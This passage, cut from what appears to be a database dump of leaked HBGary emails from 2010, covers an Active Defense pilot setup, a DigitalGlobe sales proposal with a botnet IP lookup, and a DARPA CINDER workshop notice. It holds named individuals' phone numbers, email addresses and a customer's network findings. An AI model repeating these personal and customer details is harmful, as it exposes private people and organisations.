font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1343,'aaron_hbgary_com/1343.html'),(10466,'2010-08-17','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','/aaron@hbgary.com/new/1297008132.M408221P14101Q5321.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,rich@hbgary.com','Active Defense Pilot Question','\r\n\r\nActive Defense Pilot Question\r\n\r\n\r\n\r\nRich, \r\n\r\nIn prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS. &nbsp;I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD). &nbsp;If so, should I just load the box with 2008 32bit?\r\n\r\nThanks,\r\n\r\nBrian \r\n\r\nOn 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHere u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Active Defense 1.0 User Guide.pdf\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt; \r\n\r\nUser manual\r\n\r\n\r\n\r\n\r\n\r\n',5192,'aaron_hbgary_com/5192.html'),(10467,'2010-08-17','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008132.M605736P14101Q5322.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','Re: I need help','Can you run an EndGames report on DigitalGlobe and if it has good information you should be able to sell the End Games report...\r\nOn Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nThat&#39;s great Maria.  Mark and I will do anything we can to help.  Asyou mentioned, we&#39;re close to the customer, so we could help with\r\ninstall, etc..  Let us know how we can assist.Ted\r\nOn Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n&gt; DigitalGlobe needs a proposal that includes:&gt;&gt; 1 Active Defense 1,000 endpoints&gt;&gt; 2. Training  / Installation  / Server Requirements etc&gt;&gt; -- the goal is when we leave they will be white listed, trained on the\r\n&gt; software and have scanned the network and learned how to do triage&gt;&gt; 3. Pricing for services: RE and IDS signatures and Inoculations&gt;&gt; We can&#39;t just sell them the software we need to sell them the solution and\r\n&gt; they have UNIX boxes that they are concerned about so some network&gt; monitoring and IDS should be recommended as well...  Rich mentioned&gt; Netwitness freeware, and IDS etc.  They are contacting Ted for the End Games\r\n&gt; service.&gt;&gt; So Mike/Phil you should help on what training they need&gt;&gt; Joe you should help on what time is required to install and white list and&gt; get the basics accomplished.&gt;\r\n&gt; This is where I don&#39;t understand what is SE and what is Services work....&gt; fyi Ted lives in the area...&gt;&gt; Also, do they need to buy Responder Pro?  They are thinking to buy it next&gt; year and get trained on it then.  Do they need some Responder Pro experience\r\n&gt; for Triage?&gt;&gt; I really need help tomorrow and to get this out ASAP&gt;&gt; Maria&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n&gt; email: maria@hbgary.com&gt;&gt;&gt;&gt;--Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',12037,'aaron_hbgary_com/12037.html'),(10468,'2010-08-17','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008132.M861119P14101Q5323.eml','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>,\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>,','Re: Active Defense Pilot Question','Hi Brian\r\n \r\nRich is onsite at a secure DOE lab without Internet Connectivity.... In the meantime, I will forward your email to Charles in support and he can guide you through the Server Setup because it will take time and you want the environment setup correctly or it won&#39;t work.\r\n\r\n \r\nThe alternative is for us to ship out a Server and move the POC to another day...\r\nWhat number should Charles call you on?  Charles is at extension 103.\r\n \r\nMaria\r\nOn Tue, Aug 17, 2010 at 12:16 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nRich, In prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS.  I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD).  If so, should I just load the box with 2008 32bit?\r\nThanks,Brian On 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\nHere u go.Sent from my iPadBegin forwarded message:\r\nFrom: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;Subject: Active Defense 1.0 User Guide.pdf\r\nAttached: Active Defense 1.0 User Guide.pdfSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt; \r\nUser manual-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',10409,'aaron_hbgary_com/10409.html'),(10469,'2010-08-17','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','/aaron@hbgary.com/new/1297008133.M106966P14101Q5324.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','Re: Active Defense Pilot Question','\r\n\r\nRe: Active Defense Pilot Question\r\n\r\n\r\nMaria,\r\n\r\nOk. &nbsp;I&#8217;ll work with Charles. &nbsp;Besides, if we had you ship a box it would take at least a month to get here due to our shipment processes. &nbsp;\r\n\r\n\r\nOn 8/17/10 3:21 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n \r\nRich is onsite at a secure DOE lab without Internet Connectivity.... In the meantime, I will forward your email to Charles in support and he can guide you through the Server Setup because it will take time and you want the environment setup correctly or it won\'t work.\r\n \r\nThe alternative is for us to ship out a Server and move the POC to another day...\r\nWhat number should Charles call you on?  Charles is at extension 103.\r\n \r\nMaria\r\nOn Tue, Aug 17, 2010 at 12:16 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nRich, \r\n\r\nIn prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS.  I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD).  If so, should I just load the box with 2008 32bit?\r\n\r\nThanks,\r\n\r\nBrian \r\n\r\nOn 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; wrote:\r\n\r\nHere u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;ted@hbgary.com &lt;http://ted@hbgary.com&gt; &quot; &lt;ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt;\r\nTo: &quot;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &quot; &lt;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt;\r\nSubject: Active Defense 1.0 User Guide.pdf\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt; \r\n\r\nUser manual\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5189,'aaron_hbgary_com/5189.html'),(10470,'2010-08-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008133.M327665P14101Q5325.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','Re: I need help','Netblocks Searched:\r\n12.68.205.8;12.68.205.15\r\n12.184.10.64;12.184.10.95\r\n216.160.146.72;216.160.146.79\r\n\r\nResults:\r\nIP : 216.160.146.76\r\nConfidence : 10%\r\nEvents : botnet|conficker a/b : Wed Sep  2 13:59:05 2009 GMT\r\n\r\n\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas  wrote:\r\n> Can you run an EndGames report on DigitalGlobe and if it has good\r\n> information you should be able to sell the End Games report...\r\n>\r\n> On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera  wrote:\r\n>>\r\n>> That\'s great Maria.  Mark and I will do anything we can to help.  As\r\n>> you mentioned, we\'re close to the customer, so we could help with\r\n>> install, etc..  Let us know how we can assist.\r\n>>\r\n>> Ted\r\n>>\r\n>> On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas  wrote:\r\n>> > DigitalGlobe needs a proposal that includes:\r\n>> >\r\n>> > 1 Active Defense 1,000 endpoints\r\n>> >\r\n>> > 2. Training  / Installation  / Server Requirements etc\r\n>> >\r\n>> > -- the goal is when we leave they will be white listed, trained on the\r\n>> > software and have scanned the network and learned how to do triage\r\n>> >\r\n>> > 3. Pricing for services: RE and IDS signatures and Inoculations\r\n>> >\r\n>> > We can\'t just sell them the software we need to sell them the solution\r\n>> > and\r\n>> > they have UNIX boxes that they are concerned about so some network\r\n>> > monitoring and IDS should be recommended as well...  Rich mentioned\r\n>> > Netwitness freeware, and IDS etc.  They are contacting Ted for the End\r\n>> > Games\r\n>> > service.\r\n>> >\r\n>> > So Mike/Phil you should help on what training they need\r\n>> >\r\n>> > Joe you should help on what time is required to install and white list\r\n>> > and\r\n>> > get the basics accomplished.\r\n>> >\r\n>> > This is where I don\'t understand what is SE and what is Services\r\n>> > work....\r\n>> > fyi Ted lives in the area...\r\n>> >\r\n>> > Also, do they need to buy Responder Pro?  They are thinking to buy it\r\n>> > next\r\n>> > year and get trained on it then.  Do they need some Responder Pro\r\n>> > experience\r\n>> > for Triage?\r\n>> >\r\n>> > I really need help tomorrow and to get this out ASAP\r\n>> >\r\n>> > Maria\r\n>> >\r\n>> > --\r\n>> > Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>> >\r\n>> > Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n>> > 240-396-5971\r\n>> > email: maria@hbgary.com\r\n>> >\r\n>> >\r\n>> >\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4138,'aaron_hbgary_com/4138.html'),(10471,'2010-08-17','\"DARPA-BAA-10-84\" <DARPA-BAA-10-84@darpa.mil>','/aaron@hbgary.com/new/1297008133.M538002P14101Q5326.eml','','CINDER Industry Day Registration Site is now open','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe Defense\r\nAdvanced Research Projects Agency (DARPA) will host two Proposers\' Day\r\nWorkshops in support of the pending DARPA-BAA-10-84, Cyber-Insider (CINDER)\r\nprogram. These workshops will be held on both the East and West coast. \r\n\r\n&nbsp;\r\n\r\nPlease\r\nnote that the East Cost Proposer\'s Day Workshop, previously scheduled for August\r\n31 &#8211; has been changed to September 9, 2010. \r\n\r\n&nbsp;\r\n\r\nThe West\r\nCoast Proposer\'s Day Workshop: Sept 2, 2010 Hilton Union Square, 333 O\'Farrell\r\nStreet, San Francisco 94102 from 8:00 AM to 5:00 PM (PST). \r\n\r\n&nbsp;\r\n\r\nThe East\r\nCoast Proposer\'s Day Workshop: September 9, 2010 at System Planning\r\nCorporation, 3601 Wilson Blvd, Apt 500, Arlington, VA 22201 from 8:00 AM to\r\n5:00 PM (EST).\r\n\r\n&nbsp;\r\n\r\nPlease\r\nsee the registration website for full details about meeting times and locations:\r\nhttp://cinderprogram.spcconference.com/cgi-bin/index.cgi\r\n\r\n&nbsp;\r\n\r\nThe CINDER\r\nWorkshop is open to all U.S. Citizens and intended for a wide range of\r\npotential performers. Interested individuals, consultants, small businesses,\r\nlaboratories, and universities with applicable backgrounds are expressly\r\ninvited. These workshops are not intended for parties who are not interested in\r\nbidding or participating on a bidding team, e.g. the public or members of the\r\npress. \r\n\r\n&nbsp;\r\n\r\nWorkshop\r\nparticipants must register for the Cyber-Insider program Proposers\' Day no\r\nlater than 5:00 pm EST on Wednesday August 25 2010, on this website: Attendance\r\nwill be limited to a maximum of 2 individuals per organization.&nbsp; Workshop\r\nattendees are required to submit a US Citizenship Verification form in order to\r\nattend this workshop. The completed Citizenship Form must be verified by a\r\nsecurity officer or company representative and emailed to:\r\nDARPA-BAA-10-84@darpa.mil no later than 5:00 pm EST Wednesday August 25 2010.\r\nThe Citizenship Form is available for download at the registration website.\r\nAttendees will be required to present government issued photo identification\r\nupon entry to the event. Attendance is not required to propose to any\r\nassociated BAA. Please include &quot;citizenship form&quot; in the subject line\r\nof your email. \r\n\r\n&nbsp;\r\n\r\nAdditionally,\r\nattendees wishing to present company overviews, discuss their technology\r\nexpertise, and/or discuss teaming opportunities may request scheduled\r\npresentation times at the workshop. Presentations may contain a maximum of 5\r\nslides and are limited to fifteen (15) minutes each (including logistical\r\nissues). It is the presenter\'s responsibility to ensure that all material\r\npresented at the Proposers\' Day Workshop has been approved by the sponsoring\r\norganization in advance. \r\n\r\n&nbsp;\r\n\r\nAt the\r\nconclusion of the formal presentation, there will be an opportunity to meet\r\nindividually with Mr. Peiter &quot;Mudge&quot; Zatko, the Cyber-Insider Program\r\nManager. Individual sessions are limited to 15 minutes in duration and require\r\na Purpose, Agenda, and Limit (PAL) document. An example of PAL may be found\r\nbelow. Requests that do not include a PAL may be declined. \r\n\r\n&nbsp;\r\n\r\nPlease contact\r\nDARPA-BAA-10-84@darpa.mil to schedule an individual session. Please include &quot;individual\r\nsession&quot; in the subject line of your email. Sessions will be scheduled in\r\nthe order they are received. \r\n\r\n&nbsp;\r\n\r\nPurpose,\r\nAgenda, and Limit (PAL) Example:\r\n\r\n&nbsp;\r\n\r\nP: Industry\r\nDay Meeting with CINDER PM\r\n\r\nA:\r\nIntroductions\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\nDiscussion Topic 1 \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\nDiscussion Topic 2\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\nEtc.\r\n\r\nL: 15 minutes\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8218,'aaron_hbgary_com/8218.html'),(10472,'2010-08-17','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008133.M788988P14101Q5327.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','FW: CINDER Industry Day Registration Site is now open','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe will probably get this one\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: DARPA-BAA-10-84\r\n[mailto:DARPA-BAA-10-84@darpa.mil] \r\nSent: Tuesday, August 17, 2010 11:48 AM\r\nCc: DARPA-BAA-10-84\r\nSubject: CINDER Industry Day Registration Site is now open\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe Defense\r\nAdvanced Research Projects Agency (DARPA) will host two Proposers\' Day\r\nWorkshops in support of the pending DARPA-BAA-10-84, Cyber-Insider (CINDER)\r\nprogram. These workshops will be held on both the East and West coast. \r\n\r\n&nbsp;\r\n\r\nPlease\r\nnote that the East Cost Proposer\'s Day Workshop, previously scheduled for\r\nAugust 31 &#8211; has been changed to September 9, 2010. \r\n\r\n&nbsp;\r\n\r\nThe West\r\nCoast Proposer\'s Day Workshop: Sept 2, 2010 Hilton Union Square, 333 O\'Farrell\r\nStreet, San Francisco 94102 from 8:00 AM to 5:00 PM (PST). \r\n\r\n&nbsp;\r\n\r\nThe East\r\nCoast Proposer\'s Day Workshop: September 9, 2010 at System Planning\r\nCorporation, 3601 Wilson Blvd, Apt 500, Arlington, VA 22201 from 8:00 AM to\r\n5:00 PM (EST).\r\n\r\n&nbsp;\r\n\r\nPlease\r\nsee the registration website for full details about meeting times and\r\nlocations: http://cinderprogram.spcconference.com/cgi-bin/index.cgi\r\n\r\n&nbsp;\r\n\r\nThe CINDER\r\nWorkshop is open to all U.S. Citizens and intended for a wide range of\r\npotential performers. Interested individuals, consultants, small businesses,\r\nlaboratories, and universities with applicable backgrounds are expressly\r\ninvited. These workshops are not intended for parties who are not interested in\r\nbidding or participating on a bidding team, e.g. the public or members of the\r\npress. \r\n\r\n&nbsp;\r\n\r\nWorkshop\r\nparticipants must register for the Cyber-Insider program Proposers\' Day no\r\nlater than 5:00 pm EST on Wednesday August 25 2010, on this website: Attendance\r\nwill be limited to a maximum of 2 individuals per organization.&nbsp;\r\nWorkshop attendees are required to submit a US Citizenship Verification form in\r\norder to attend this workshop. The completed Citizenship Form must be verified\r\nby a security officer or company representative and emailed to:\r\nDARPA-BAA-10-84@darpa.mil no later than 5:00 pm EST Wednesday August 25 2010.\r\nThe Citizenship Form is available for download at the registration website.\r\nAttendees will be required to present government issued photo identification\r\nupon entry to the event. Attendance is not required to propose to any\r\nassociated BAA. Please include &quot;citizenship form&quot; in the subject line\r\nof your email. \r\n\r\n&nbsp;\r\n\r\nAdditionally,\r\nattendees wishing to present company overviews, discuss their technology\r\nexpertise, and/or discuss teaming opportunities may request scheduled presentation\r\ntimes at the workshop. Presentations may contain a maximum of 5 slides and are\r\nlimited to fifteen (15) minutes each (including logistical issues). It is the\r\npresenter\'s responsibility to ensure that all material presented at the\r\nProposers\' Day Workshop has been approved by the sponsoring organization in\r\nadvance. \r\n\r\n&nbsp;\r\n\r\nAt the\r\nconclusion of the formal presentation, there will be an opportunity to meet\r\nindividually with Mr. Peiter &quot;Mudge&quot; Zatko, the Cyber-Insider Program\r\nManager. Individual sessions are limited to 15 minutes in duration and require\r\na Purpose, Agenda, and Limit (PAL) document. An example of PAL may be found\r\nbelow. Requests that do not include a PAL may be declined. \r\n\r\n&nbsp;\r\n\r\nPlease\r\ncontact DARPA-BAA-10-84@darpa.mil to schedule an individual session. Please include &quot;individual\r\nsession&quot; in the subject line of your email. Sessions will be scheduled in\r\nthe order they are received. \r\n\r\n&nbsp;\r\n\r\nPurpose,\r\nAgenda, and Limit (PAL) Example:\r\n\r\n&nbsp;\r\n\r\nP: Industry\r\nDay Meeting with CINDER PM\r\n\r\nA: Introductions\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\nDiscussion Topic 1 \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\nDiscussion Topic 2\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\nEtc.\r\n\r\nL: 15 minutes\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15019,'aaron_hbgary_com/15019.html'),(10473,'2010-08-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008134.M274396P14101Q5329.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','Re: I need help','Not a lot of Internet addressable IPs. On Aug 17, 2010, at 2:55 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nPhil\r\n \r\nIs this what you would have expected?  Not much there...\r\nOn Tue, Aug 17, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nNetblocks Searched:12.68.205.8;12.68.205.1512.184.10.64;12.184.10.95216.160.146.72;216.160.146.79\r\n\r\nResults:IP : 216.160.146.76Confidence : 10%Events : botnet|conficker a/b : Wed Sep  2 13:59:05 2009 GMT\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; Can you run an EndGames report on DigitalGlobe and if it has good\r\n\r\n&gt; information you should be able to sell the End Games report...&gt;&gt; On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt;&gt;&gt; That&#39;s great Maria.  Mark and I will do anything we can to help.  As\r\n&gt;&gt; you mentioned, we&#39;re close to the customer, so we could help with&gt;&gt; install, etc..  Let us know how we can assist.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n&gt;&gt; &gt; DigitalGlobe needs a proposal that includes:&gt;&gt; &gt;&gt;&gt; &gt; 1 Active Defense 1,000 endpoints&gt;&gt; &gt;&gt;&gt; &gt; 2. Training  / Installation  / Server Requirements etc&gt;&gt; &gt;\r\n\r\n&gt;&gt; &gt; -- the goal is when we leave they will be white listed, trained on the&gt;&gt; &gt; software and have scanned the network and learned how to do triage&gt;&gt; &gt;&gt;&gt; &gt; 3. Pricing for services: RE and IDS signatures and Inoculations\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; We can&#39;t just sell them the software we need to sell them the solution&gt;&gt; &gt; and&gt;&gt; &gt; they have UNIX boxes that they are concerned about so some network&gt;&gt; &gt; monitoring and IDS should be recommended as well...  Rich mentioned\r\n\r\n&gt;&gt; &gt; Netwitness freeware, and IDS etc.  They are contacting Ted for the End&gt;&gt; &gt; Games&gt;&gt; &gt; service.&gt;&gt; &gt;&gt;&gt; &gt; So Mike/Phil you should help on what training they need\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; Joe you should help on what time is required to install and white list&gt;&gt; &gt; and&gt;&gt; &gt; get the basics accomplished.&gt;&gt; &gt;&gt;&gt; &gt; This is where I don&#39;t understand what is SE and what is Services\r\n\r\n&gt;&gt; &gt; work....&gt;&gt; &gt; fyi Ted lives in the area...&gt;&gt; &gt;&gt;&gt; &gt; Also, do they need to buy Responder Pro?  They are thinking to buy it&gt;&gt; &gt; next&gt;&gt; &gt; year and get trained on it then.  Do they need some Responder Pro\r\n\r\n&gt;&gt; &gt; experience&gt;&gt; &gt; for Triage?&gt;&gt; &gt;&gt;&gt; &gt; I really need help tomorrow and to get this out ASAP&gt;&gt; &gt;&gt;&gt; &gt; Maria&gt;&gt; &gt;&gt;&gt; &gt; --\r\n\r\n&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt; Ted Vera  |  President  |  HBGary Federal&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n\r\n&gt;&gt; www.hbgary.com  |  ted@hbgary.com&gt;&gt;\r\n&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: 